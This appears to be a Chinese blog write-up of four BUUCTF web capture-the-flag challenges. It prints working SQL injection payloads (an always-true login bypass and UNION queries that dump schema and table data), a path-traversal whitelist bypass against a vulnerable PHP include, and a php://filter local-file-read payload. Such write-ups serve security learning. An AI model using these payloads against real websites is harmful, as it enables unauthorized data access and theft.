Buuctf-Web(1-6)

machacha發表於2024-06-04

1[極客大挑戰 2019]EasySQL

根據題目,用單引號檢測是否存在SQL隱碼攻擊漏洞

分析報錯資訊:看'單引號後面跟著的字元,是什麼字元,它的閉合字元就是什麼,若是沒有,就為數字型。

在兩個位置用單引號測試,發現閉合符號為單引號,注入點在password

image-20240520154524845

萬能密碼法

image-20240520153459341

image-20240520153507112

常規法

注入流程

資料庫->表->欄位->值

根據注入位置資料型別將sql注入分類
利用order判斷欄位數
order by x(數字) 正常與錯誤的正常值 正確網頁正常顯示,錯誤網頁報錯

?id=1' order by 3--+

利用 union select 聯合查詢,將id值設定成不成立,即可探測到可利用的欄位數payload是插入到原來的語句當中,構成了兩個sql的語句,當第一個sql語句正確返回時,便不會顯示第二個sql語句的結果。

?id=-1 union select 1,2,3 --+

利用函式database(),user(),version()可以得到所探測資料庫的資料庫名、使用者名稱和版本號

?id=-1' union select 1,database(),version() --+

利用 union select 聯合查詢,獲取表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知庫名'--+

利用 union select 聯合查詢,獲取欄位名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='已知庫名' table_name='已知表名'--+

利用 union select 聯合查詢,獲取欄位值

?id=-1' union select 1,2,group_concat(已知欄位名,':'已知欄位名) from 已知表名--+

本題payload:

?username=1&password=1' or 1=1%23

image-20240520154920455

[極客大挑戰 2019]EasySQL - 知乎 (zhihu.com)

2[極客大挑戰 2019]Havefun

檢視原始碼,找到這道題的關鍵

image-20240520155040569

payload:

?cat=dog

image-20240520155557078

我還以為是xss😦

3[HCTF 2018]WarmUp

檢視頁面原始碼,發現source.php

image-20240520160043642

訪問/source.php

image-20240520160201571

is_string():檢測變數是否是字串
isset():檢測變數是否已設定並且非 NULL
in_array(要搜尋的值,要搜尋的陣列):搜尋陣列中是否存在指定的值
mb_substr($page,n,m):返回page中從第n位開始,到n+m位字串的值
mb_strpos():查詢字串在另一個字串中首次出現的位置
urldecode():將url編碼後的字串還原成未編碼的樣子
<?php
  highlight_file(__FILE__);
  class emmm
  {
    public static function checkFile(&$page)
    {
        //初始化一個白名單陣列`$whitelist`,其中只包含兩個檔案:"source.php" 和 "hint.php"。
      $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
        //首先檢查`$page`變數是否存在且為字串型別。
      if (! isset($page) || !is_string($page)) {
        echo "you can't see it";
        return false;
      }
		 //如果`$page`在白名單內,則返回`true`。
​      if (in_array($page, $whitelist)) {
​        return true;
​      }
		//接著,嘗試去除`$page`中的查詢字串部分(即`?`之後的部分),並檢查處理後的`$_page`是否在白名單內。
​      $_page = mb_substr(
​        $page,
​        0,
​        mb_strpos($page . '?', '?')
​      );
        
​      if (in_array($_page, $whitelist)) {
​        return true;
​      }

​      $_page = urldecode($page);
​      $_page = mb_substr(
​        $_page,
​        0,
​        mb_strpos($_page . '?', '?')
​      );
        //然後,對`$page`進行URL解碼(`urldecode`),並再次去除查詢字串部分,並檢查處理後的`$_page`是否在白名單內。
​      if (in_array($_page, $whitelist)) {
​        return true;
​      }
        //如果所有檢查都失敗,則返回`false`並輸出"you can't see it"。
​      echo "you can't see it";
​      return false;
​    }
  }
		//檢查`$_REQUEST['file']`是否存在、是否為字串,並透過`emmm::checkFile`方法檢查其是否在白名單內。
  if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
  ) {
    include $_REQUEST['file'];
    exit;
  } else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  } 
?>

payload:

?file=hint.php

image-20240520161506945

我們發現最底部的if語句為執行條件,有三個條件,第一個判斷檔案不能為空(檢查是否傳了file引數),第二這個傳的引數是字串,第三要過白名單檢測,過了之後包含 隱藏了flag的檔案。我們再看上面的if語句,白名單是hint.php,又有mb_strpos和mb_substr擷取內容,碰到?就截止,所以我們只需要輸入 source.php?file=hint.php?即可繞過白名單檢測,然後在輸入…/逐級跳轉目錄讀取flag即可,可以一個一個試

/source.php?file=hint.php?file=../../../../../ffffllllaaaagggg

image-20240520161930734

4[ACTF2020 新生賽]Include

image-20240520163552108

我們點選tips這個連結,發現url發生變化

image-20240520163525837

猜測檔案包含漏洞,此時就要想辦法檢視這個檔案,那怎樣來檢視呢

重要的知識點——PHP封裝協議:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中獨有的一個協議,可以作為一箇中間流來處理其他流,可以進行任意檔案的讀取;根據名字filter,可以很容易想到這個協議可以用來過濾一些東西; 使用不同的引數可以達到不同的目的和效果:

resource=<要過濾的資料流>     指定了你要篩選過濾的資料流。 必選
read=<讀鏈的篩選列表>         可以設定一個或多個過濾器名稱,以管道符(|)分隔。 可選
write=<寫鏈的篩選列表>        可以設定一個或多個過濾器名稱,以管道符(|)分隔。 可選
<;兩個鏈的篩選列表>          任何沒有以 read= 或write=作字首 的篩選器列表會視情況應用於讀或寫鏈。

php://filter與包含函式結合時,php://filter流會被當作php檔案執行。所以我們一般對其進行編碼,阻止其不執行。從而導致任意檔案讀取。
read=convert.base64-encode,用base64編碼輸出,不然會直接當做php程式碼執行,看不到原始碼內容。

PHP偽協議(封裝協議/內建協議)_php封裝協議-CSDN部落格

PHP: php:// - Manual

php://filter協議,用base64編碼的方式來讀檔案flag.php;這時頁面會顯示出原始檔flag.php經過base64編碼後的內容,然後經過base64解碼就可以看到flag;

payload:

 /?file=php://filter/read=convert.base64-encode/resource=flag.php

得到base64編碼後的內容為:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZDg0M2YzM2YtNzY2Zi00YzllLTg5Y2QtYzU2M2IzZmMyMDhkfQo=

接著base64解碼:

相關文章